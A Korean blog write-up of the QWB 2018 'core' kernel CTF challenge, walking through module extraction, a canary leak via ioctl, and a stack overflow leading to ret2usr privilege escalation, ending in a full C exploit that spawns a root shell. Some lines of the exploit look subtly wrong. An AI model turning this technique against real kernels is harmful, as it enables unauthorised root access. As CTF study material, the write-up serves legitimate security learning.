[Kernel] QWB CTF 2018 - core (ret2usr)

sangjun

·

2021. 7. 25. 03:31

 

문제소스

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

보호기법

Canary                        : Yes
KASLR                         : Yes

문제 분석 및 페이로드

일단 이 문제는 KASLR 보호기법만 걸려있기 때문에 ret2usr로 익스플로잇이 가능하다.

ret2usr에서 기본적인 순서는 이렇다.

1. commit_creds(prepare_kernel_cred(0))을 호출 (함수의 주소는 /tmp/kallsyms파일을 읽어서 위치를 알 수 있다)

--> init파일을 보면 일반 유저도 우회하여 kallsyms를 읽을 수 있게 해두었다.

2. trap_frame구성

3. iretq을 통해 유저모드의 코드를 실행

 


커널 문제는 포너블 문제처럼 쉽게 쉽게 코드를 안 주는거 같다.

알아서 파일에서 보호기법을 찾아내고 소스를 추출해 내야되는거 같아서 힘든거 같다.

 

우선 문제 파일을 받으면 이렇게 4가지 파일을 준다.

먼저 우리가 해야할 것을 커널모듈파일을 추출해 내는 것이다.

 커널 모듈을 얻기 위해서는 ~~.cpio라는 파일 시스템을 요리조리 구워 삶아서 .ko라는 파일을 얻어내면 끝이다.

아래는 .cpio를 압축해제하여 .ko확장자 파일을 얻어내는 과정이다.

mkdir core
cp core.cpio ./core
cd ./core
cp core.cpio core.gz
gzip -d core.gz
cpio -id -v <core

이렇게 .ko 커널 모듈파일을 얻어냈다. 

이제 이것을 아이다에 올려 커널 소스코드가 어떻게 돌아가는지 확인해보겠다.


먼저 ioctl()함수의 2번째 인자값을 이용하여 다른 함수들을 호출 할 수 있는거 같다.

 

ret2usr을 하기 위한 BOF가 터지는 함수는 아래와 같다.

함수 인자를 비정상적으로 주면 qmemcpy를 호출해 BOF가 터진다.

 

카나리 값을 leak할 수 있는 함수는 아래와 같다.

ioctf함수에서 off전역변수의 값을 원하는대로 조절하면 카나리값을 읽을 수 있다.

아래 함수를 통해 페이로드를 전역변수에 저장 후 qmemcpy함수를 통해 stack overflow를 유도할 것이다.

아직까지 쉬운 문제라서 커널의 소스분석은 매우 쉬웠다.

또한 ret2usr은 정해진 루틴이 있기 때문에 정해진 틀에 맞추어 익스플로잇 코드를 작성하면 끝이었다.

하지만 커널에 우리의 익스코드를 파일 시스템에 넣거나 디버깅 하는 과정에서 시간이 오래 걸린거 같다.

 

아래 코드는 실행파일을 파일 시스템에 넣고 실행할 수 있게 해주는 코드다.

core에 cpio를 압축해제 한 후
vi my_ex.c
gcc -masm=intel -static -o my_ex my_ex.c
./gen_cpio.sh core.cpio
cp core.cpio ../core.cpio
cd ..
./start.sh

 

 

 

//gcc -masm=intel -static -o my_ex my_ex.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


#define READ 0x6677889B
#define OFFSET 0x6677889C
#define COPY 0x6677889A

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct register_val{
	uint64_t user_rip;
	uint64_t user_cs;
	uint64_t user_rflags;
	uint64_t user_rsp;
	uint64_t user_ss;
}__attribute__((packed));

struct register_val rv;

void shell(){
	system("/bin/sh");
}

void backup_rv(){
	asm("mov rv+8,cs;"
	    "pushf;pop rv+16;"
	    "mov rv+24,rsp;"
	    "mov rv+32,ss;"
	   );
	rv.user_rip=&shell;
}



void *get_kallsyms(char *name){
	FILE *fp;
	void *addr;
	char sym[512];

	fp=fopen("/tmp/kallsyms","r");

	while(fscanf(fp,"%p %*c %512s\n",&addr,sym)>0)
	{
		if(strcmp(sym,name)==0)break;
		else
			addr=NULL;
	}
	fclose(fp);
	return addr;
}
void payload(){
	commit_creds(prepare_kernel_cred(0));
	asm("swapgs;"
	    "mov %%rsp,%0;"
	    "iretq;"
	    : : "r" (&rv));
}

int main(){
	int fd=open("/proc/core",O_RDWR);

	prepare_kernel_cred=get_kallsyms("prepare_kernel_cred");
	commit_creds=get_kallsyms("commit_creds");


	char buf[0x100];
	char canary[8];
	char rop[0x100];
    
	ioctl(fd,OFFSET,0x40);
	ioctl(fd,READ,buf);

	memcpy(canary,buf,8);
	memset(rop,"A",0x40);//dummy
	memcpy(rop+0x40,canary,8);//canary
	memset(rop+0x48,"A",8);//rbp
	*(void**)(rop+0x50)=&payload;//rip
	memset(rop+0x58,"A",8);//dummy
	backup_rv();

	write(fd,rop,0x58);
	ioctl(fd,COPY, 0x8000000000000058);
	return 0;
}

참고문헌 및 힘들었던 부분

1. https://biji-jjigae.tistory.com/109

2. https://jiravvit.tistory.com/entry/linux-kernel-7-2018-QWB-ctf-core?category=911823 

3. https://www.lazenca.net/pages/viewpage.action?pageId=25624684#id-02.Stacksmashing(64bit)&Return-to-user(ret2usr)-Exploitcode